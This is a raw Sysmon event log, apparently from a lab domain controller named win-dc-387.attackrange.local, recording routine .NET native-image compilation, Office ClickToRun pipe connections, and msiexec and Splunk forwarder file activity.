14:44:14.758{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3E-613B-E208-00000000F001}4948C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000042428Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.758{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042427Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.758{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042426Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.758{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042425Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.758{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042424Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.758{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042423Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.758{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042422Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.758{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042421Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.758{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042420Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.758{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042419Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.742{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F3E-613B-E208-00000000F001}4948C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042418Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.742{7BD73061-6F29-613B-3408-00000000F001}55565184C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3E-613B-E208-00000000F001}4948C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d19b(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d23f(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d2bd(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 23542300x800000000000000042417Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.695{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSI60F9.tmpMD5=FCCDC45CA17E5180B40EFC28052BAC39,SHA256=4AB37B0F9C5FE3505E1ECFE0764AAA04838CF81F9E0A402425E057F7A251E621,IMPHASH=620AD7AB8901854C91622E052544AEE7truetrue 10341000x800000000000000042416Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.680{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3E-613B-E108-00000000F001}6728C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000042415Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.680{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042414Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.680{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042413Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.680{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042412Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.664{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F3E-613B-E108-00000000F001}6728C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042411Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.664{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3E-613B-E108-00000000F001}6728C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 11241100x800000000000000042410Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:14.633{7BD73061-6F3E-613B-E008-00000000F001}5976C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_32\Temp\1758-0\Microsoft.VisualStudio.Tools.Office.ContainerControl.dll2021-09-10 14:44:14.633 18141800x800000000000000042409Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.617{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000042408Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.586{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=619C47F1C1BB7E2F6F377BE69E3B1817,SHA256=5F3ACADCF87C93E47F3DCE5B5C69477E356469808C74DD8026203AA9F0402CCE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042407Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.570{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=C682AE3948A5C4B3F618DA6C3074B0A1,SHA256=F76EBE73463F0C990CC3A0DFADC2871DE22E9A86A42A8D2FF2D7AFD5B3414626,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042406Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.570{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8BEBC76EFC23E81AF63ED24DB698F94A,SHA256=BBC4B491F07005F027EB97EB52BC1728519915BC527BF091815585B0D885E1A8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042405Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.570{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=4519F376C8020560A2C053EE9A82E515,SHA256=3BA0F34D04A2F3163B6A15CE8B8681643D515D20EE6BDDE5C991442EAD64D03F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042404Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.570{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=30F4CB19E8254B075E7553358A9CC858,SHA256=939F9F7A70CC6BC7222B965664154F58AB58591CE60405B033ABA8ADE53C1443,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000042403Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.570{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042402Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.555{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042401Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.508{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3E-613B-E008-00000000F001}5976C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042400Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.492{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F3E-613B-E008-00000000F001}5976C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042399Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.492{7BD73061-6F29-613B-3408-00000000F001}55565184C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3E-613B-E008-00000000F001}5976C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d19b(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d23f(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d2bd(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 18141800x800000000000000042398Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.492{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042397Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.492{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042396Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.492{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042395Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.492{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042394Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.492{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042393Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.492{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042392Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.492{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042391Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.492{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042390Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.492{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042389Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.445{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3E-613B-DF08-00000000F001}6364C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042388Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.430{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F3E-613B-DF08-00000000F001}6364C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042387Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.430{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3E-613B-DF08-00000000F001}6364C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000042386Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.430{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSI601D.tmpMD5=9CADBFA797783FF9E7FC60301DE9E1FF,SHA256=C1EDA5C42BE64CFC08408A276340C9082F424EC1A4E96E78F85E9F80D0634141,IMPHASH=652859BF844DA7396CCD2DCBC07B8FD2truetrue 10341000x800000000000000042385Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.414{7BD73061-6F3E-613B-DE08-00000000F001}70806284c:\Windows\syswow64\MsiExec.exe{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|c:\Windows\syswow64\MsiExec.exe+7291|c:\Windows\syswow64\MsiExec.exe+7873|c:\Windows\syswow64\MsiExec.exe+9201|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000042384Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.414{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3E-613B-DE08-00000000F001}7080c:\Windows\syswow64\MsiExec.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000042383Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.414{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042382Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.414{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042381Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.414{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042380Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 